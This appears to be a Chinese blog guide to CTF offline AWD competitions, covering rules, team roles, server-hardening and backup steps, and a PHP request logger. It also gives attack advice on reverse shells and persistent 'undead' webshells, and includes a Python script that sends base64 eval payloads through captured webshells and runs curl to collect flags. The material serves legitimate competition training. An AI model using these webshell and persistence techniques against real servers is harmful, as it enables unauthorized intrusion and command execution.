CTF线下AWD流程和准备工作

0x00 AWD

img

AWD:Attack With Defence,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  1. 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  2. 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;
  3. flag在主办方的设定下每隔一定时间刷新一轮;
  4. 各队一般都有自己的初始分数;
  5. flag一旦被其他队伍拿走,该队扣除一定积分;
  6. 扣除的积分由获取flag的队伍均分;
  7. 主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分;
  8. 一般每个队伍会给一个低权限用户,非root权限;

你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人得分,以防扣分。

0x02 赛前准备

1. 各种软件包,如 Python、CURL 等等,以备机器上没有而陷入尴尬 
2. 一大堆 EXP 库和漏洞库,可以放个乌云的虚拟机备用
3. 加固、基线检查脚本
4. WAF 代码和部署脚本
5. AWD 专用的批量拿 Webshell、批量交 flag、批量维持权限的基本代码或小框架

比赛前可以准备一个脚本集,集成到一个框架中,这样打AWD会很流畅

0x03 人员分工

线下赛一般3人左右,2人攻击,1人防御,发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。

比赛中每个队伍可能会维护多个靶机,web、二进制等,也可以每人负责一台,各自负责攻击和防御。

0x04 防守流程

1.修改ssh密码

官方在给出服务器密码时,很有可能是默认的,这个时候需要比较手速了,需要赶快修改自己的密码并尝试能不能登录别人的靶机,还有很多时候会只给出一个ip需要尽快做端口的爆破以及修改

2.备份网站源码和数据库。

一、防止自己修改网站源码或数据库后无法恢复

二、防止对手入侵主机删除源码服务无法正常运行

ps: 比赛会check服务是否正常,不正常会进行扣分

1.备份网站源码

(1)

使用xftp,filezilla client,xshell等工具 将源码备份下来

(2)使用scp命令

scp -r -P Port remote_username@remote_ip:remote_folder local_file

2.备份数据库

(1)备份

mysqldump -h127.0.0.1 -uroot -ppass database > d:/backupfile.sql

(2)还原

cd /var/lib/mysql                  //切换mmysql库目录
mysql -uroot -ppass database<backupfile.sql

3.检查系统安全性

关闭无需开放的端口、检查端口以及服务弱口令,mysql默认密码等,是否做了ssh登录限制,这里建议使用脚本统一完成

4.拿到源码之后使用D盾查杀

拿到源码后进行D盾查杀检测预留后门这是送分题,同时可以利用这个漏洞迅速发起攻击,或用此一直维持权限

5.修改权限

比如mysql用户读表权限,上传目录是否可执行的权限等

6.部署WAF

用自己提前准备好的WAF,使用给脚本进行快速部署,但是需要验证部署后服务是否宕机,需要注意,比赛很容易被check down。

a)在所需要在php文件前加入

require_once('waf.php');

如果想要整站防护,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!

添加require_once(‘waf.php’);来调用本代码

常用php系统添加文件

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php

b)在每个文件中加入代码

在php.ini中找到

Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;

7.部署文件监控脚本

控可读写权限的目录是否新增、删除文件并及时提醒。这里说下,如果被种了不死马的话通常有以下几种克制方法:

强行 kill 掉进程后重启服务
建立一个和不死马相同名字的文件或者目录
写脚本不断删除文件
不断写入一个和不死马同名的文件

监测脚本如下:

<?php

error_reporting(0);
define('LOG_FILEDIR','./logs');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}

unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

logging($input);

}

function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}

waf();
?>

8.部署流量监控脚本或开启服务器日志记录。

目的主要是为了进行流量回放,看其它大佬如何用我们没发现的漏洞来打我们的机子,抓取到之后把看不懂的流量直接回放到别的机子去,这里还得提到,我们自己在攻击的时候,也要试着混淆一下自己的攻击流量,不能轻易被别人利用。

在比赛机器上使用tcpdump进行流量抓取

tcpdump -s 0 -w flow.pcap port 9999

9.时刻关注流量和积分榜

时刻看着自己的分数,看到自己被down了就赶紧恢复,不管被删库还是被自己删了什么重要配置文件或者还是上的通用waf脚本过不了check。

0x05 攻击流程

1.预留后门及弱口令

即使发现预留后门以及弱口令可以上传一些反弹shell内php 用nc连接一直拿分

2.信息收集、探测端口、探测端口服务端口攻击

这是时候需要体现手速和相应的脚本可以使用自己收集或者熟悉的比如,nmap,msf啥的方便进行后渗透

3.web框架漏洞

web大多数为php 也有java、python等,一种是已有漏洞的框架一种是出题人自己写的框架,需要在电脑中备好EXP库,漏洞库、扫描库以及相应的提权辅助脚本

4.源代码进行代码审计

D盾查杀反馈防守队友,Seay等源码审计工具(报错率也是极高的),发现问题迅速验证,并报给防守队友,编写攻击脚本

5.维持权限

对拿到webshell的点要维持权限,在AWD中优先考虑种不死马、反弹shell等工具

6.编写脚本批量拿分

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64

def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()

def file_write(filepath,filecontent):
file = open(filepath,"a")
file.write(filecontent)
file.close()

def getflag(url,method,passwd,flag_path):
#flag机的url
flag_url="192.168.45.1"
#print url
#判断shell是否存在
try :
res = requests.get(url,timeout=3)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
return 0
#执行命令来获取flag system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
cmd = "curl "+flag_url
#cmd = "whoami"
getflag_cmd ="echo system(\"%s\");"%cmd
data={}
if method=='get':
data[passwd]='@eval(base64_decode($_GET[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.get(url,params=data,timeout=3)
#print res.url
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except :
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
elif method=='post':
data['pass']='Sn3rtf4ck'
data[passwd]='@eval(base64_decode($_POST[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.post(url,data=data,timeout=3)
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except:
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url



if __name__ == '__main__':
#存放flag的文件
flag_path="./flag.txt"
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
else : pass
#print str(len(url))
for j in range(len(url)):
#调用执行命令的模块
#print str(j)
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
print "Getflag finished!"

0x06 资源分享

Github资源:

AWD攻防赛脚本集合: <https://github.com/admintony/Prepare-for-AWD>

Attack-Defense-Framework: <https://github.com/SniperOJ/Attack-Defense-Framework/tree/v2>

AWD攻防赛webshell批量利用框架: <https://github.com/Ares-X/AWD-Predator-Framework>

awd-frame: <https://github.com/xnianq/awd-frame>

WEB-AWD-Framework:<https://github.com/dahua966/WEB-AWD-Framework>

AWD-helper: <https://github.com/sarleon/AWD-helper>

AWD经验:

-聊聊AWD攻防赛流程及准备经验:
<https://www.freebuf.com/articles/network/201222.html>

- CTF线下赛AWD模式下的生存技巧: <https://www.anquanke.com/post/id/84675>

- CTF线下赛AWD套路小结: <https://xz.aliyun.com/t/25>

- AWD混战攻略: <https://www.jianshu.com/p/d21b7e1bffaf>

- CTF线下AWD攻防模式的准备工作及起手式: <https://blog.csdn.net/like98k/article/details/80261603>

- 2017强网杯线下AWD攻防总结(适合新手): <https://www.t00ls.net/articles-42278.html>

- AWD攻防线下生存之道: [http://47.95.201.153/blog/AWD攻防线下生存之道.html](http://47.95.201.153/blog/AWD%E6%94%BB%E9%98%B2%E7%BA%BF%E4%B8%8B%E7%94%9F%E5%AD%98%E4%B9%8B%E9%81%93.html)

- CTF AWD模式攻防Note: <https://www.cnblogs.com/nul1/p/9576386.html>

权限维持:

- 不死马的删除: <https://yq.aliyun.com/zt/325638>

- awd攻防之kill不死马: <https://www.jianshu.com/p/ba79686987da>

- python中的后渗透|也可用于AWD攻防–shell管理: <https://www.jianshu.com/p/2e8e7330b73e>

- 从0到1掌握AWD攻防之RSA必杀: <https://www.360zhijia.com/anquan/456324.html>

- 资深大牛教你如何web端权限维持(内附具体步骤): [http://www.sohu.com/a/127074604\_472906](http://www.sohu.com/a/127074604_472906)
Author

ol4three

Posted on

2019-06-21

Updated on

2021-03-03

Licensed under


Comments